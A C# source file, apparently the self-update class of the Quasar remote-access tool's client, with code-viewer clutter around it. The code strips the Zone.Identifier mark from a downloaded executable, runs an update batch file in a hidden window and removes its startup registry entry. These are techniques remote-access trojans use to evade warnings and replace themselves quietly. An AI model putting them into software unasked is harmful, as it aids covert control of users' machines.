39 lines
1.1 KiB
C#
39 lines
1.1 KiB
C#
using Quasar.Client.Config;
|
|||
|
|
using Quasar.Client.IO;
|
||
|
|
using Quasar.Common.Helpers;
|
||
|
|
using System;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.IO;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
namespace Quasar.Client.Setup
|
||
|
|
{
|
||
|
|
public class ClientUpdater : ClientSetupBase
|
||
|
|
{
|
||
|
|
public void Update(string newFilePath)
|
||
|
|
{
|
||
|
|
FileHelper.DeleteZoneIdentifier(newFilePath);
|
||
|
|
|
||
|
|
var bytes = File.ReadAllBytes(newFilePath);
|
||
|
|
if (!FileHelper.HasExecutableIdentifier(bytes))
|
||
|
|
throw new Exception("No executable file.");
|
||
|
|
|
||
|
|
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||
|
|
|
||
|
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||
|
|
{
|
||
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||
|
|
UseShellExecute = true,
|
||
|
|
FileName = batchFile
|
||
|
|
};
|
||
|
|
Process.Start(startInfo);
|
||
|
|
|
||
|
|
if (Settings.STARTUP)
|
||
|
|
{
|
||
|
|
var clientStartup = new ClientStartup();
|
||
|
|
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|